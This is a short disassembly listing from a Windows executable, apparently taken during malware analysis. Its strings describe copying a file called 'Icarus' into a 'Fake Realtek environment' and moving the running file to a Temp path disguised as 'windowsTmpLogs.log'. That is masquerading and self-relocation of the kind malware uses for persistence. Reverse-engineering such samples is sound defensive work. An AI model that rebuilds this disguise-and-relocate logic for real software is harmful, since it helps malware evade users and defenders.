lea rcx, str._i__The_file_Icarus_has_been_copied_in_the_Fake_Realtek_environment_with_success._n_n
call fcn.140001db0
jmp 0x140001bd6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_during_the_copy._Error_code:__d_n_n
call fcn.140001db0
lea r9, [rsp + 0x360]
lea rcx, [rsp + 0x30]
lea r8, str._sAppDataLocalTempwindowsTmpLogs.log
mov edx, 0x104
call fcn.140001f40
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x470]
call fcn.1400081a4
cmp eax, 0
je 0x140001c20
lea rcx, str.____Error_during_renaming_of_file_n
call fcn.140001db0
jmp 0x140001c2c
lea rcx, str.___The_current_file_has_been_moved_to_the_path:_tmp_n
call fcn.140001db0
jmp 0x140001c31
lea rax, [rsp + 0x250]
add rsp, 0x588
ret